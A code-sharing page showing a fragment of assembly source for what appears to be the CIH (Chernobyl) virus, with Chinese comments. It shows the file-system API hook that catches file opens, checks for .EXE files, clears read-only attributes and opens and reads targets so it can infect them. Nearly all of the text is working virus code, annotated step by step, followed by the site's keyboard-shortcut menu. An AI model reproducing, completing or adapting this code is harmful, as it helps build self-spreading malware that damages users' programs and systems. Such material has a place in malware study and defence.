📄 cih14.txt
字号:
@3 = FileSystemApiHook
pushad
call @5
@5:
pop esi
ss
add esi, VirusGameDataStartAddress-@5
test byte ptr (OnBusy-@6)[esi], 01h ;ebx为FunctionNum的地址
jnz pIFSFunc
;文件系统钩子的调用格式如下
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,int ResourceFlags, int CodePage, pioreq pir)
lea ebx, [esp+20h+04h+04h] ;测试此次调用是否是为了打开文件
cmp dword ptr [ebx], 00000024h ;在DDK的ifs.h中定义的#define IFSFN_OPEN 36
jne prevhook ;不是就跳到前一个文件钩子去
inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ;设置"忙"标志为"忙"
add esi, FileNameBuffer-@6 ;esi指向FileNameBuffer
push esi ;保存之
mov al, [ebx+04h] ;ebx+4为int Drive的地址
cmp al, 0ffh ;是否是UNC(universal naming conventions)地址,是就跳转
je CallUniToBCSPath
add al, 40h
mov ah, ':'
mov [esi], eax ;处理成"X:"的形式
inc esi
inc esi
CallUniToBCSPath:
push 00000000h ;字符集
push FileNameBufferSize ;字符长度
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax ;Uni字符首址
push esi ;BCS字符首址
int 20h ;调用UniToBCSPath
UniToBCSPath = $
dd 00400041h ;调用id
add esp, 04h*04h
cmp [esi+eax-04h], 'EXE.' ;测试是否是*.EXE(可执行)文件
pop esi
jne DisableOnBusy
IF DEBUG
cmp [esi+eax-06h], 'KCUF' ;如果是测试用途则测试是否是"FUCK.EXE"
jne DisableOnBusy
ENDIF
cmp word ptr [ebx+18h], 01h ;测试是否打开,没打开则跳转DisableOnBusy
jne DisableOnBusy
; *****获得文件属性*****
mov ax, 4300h ;IFSMgr_Ring0_FileIO的获得文件属性号
int 20h ;调用IFSMgr_Ring0_FileIO的获得文件属性的功能
IFSMgr_Ring0_FileIO = $
dd 00400032h ;调用号
jc DisableOnBusy ;判断是否失败
push ecx
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi] ;获得IFSMgr_Ring0_FileIO调用的地址
; *****判断是否是只读文件*****
test cl, 01h
jz OpenFile ;测试是否是只读文件
; *****修改只读文件属性,使其可写*****
mov ax, 4301h ;IFSMgr_Ring0_FileIO的获得文件属性号(R0_FILEATTRIBUTES/SET_ATTRIBUTES )
xor ecx, ecx
call edi ;调用IFSMgr_Ring0_FileIO的改文件属性功能,使文件可写
OpenFile:
xor eax, eax
mov ah, 0d5h ;IFSMgr_Ring0_FileIO的打开文件功能号(R0_OPENCREATFILE or RO_OPENCREAT_IN_CONTEXT)
xor ecx, ecx ;文件属性
xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi为文件名首址,自减一
call edi ;调用IFSMgr_Ring0_FileIO的打开文件功能
xchg ebx, eax ; 在ebx中保存文件句柄
pop ecx
pushf
test cl, 01h
jz IsOpenFileOK ;是否需要恢复文件属性(有写属性就不需要恢复了)
; *****恢复文件属性*****
mov ax, 4301h ;IFSMgr_Ring0_FileIO的获得文件属性号(R0_FILEATTRIBUTES/SET_ATTRIBUTES)
call edi ; VXD调用, 恢复文件属性
IsOpenFileOK:
popf
jc DisableOnBusy ;判断打开是否成功?
push esi ; 把文件名数据区首址压栈
pushf ;保存标志位
add esi, DataBuffer-@7 ;esi指向数据区首址
xor eax, eax ;eax自身做异或
mov ah, 0d6h ;IFSMgr_Ring0_FileIO的读文件功能号(R0_READFILE)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -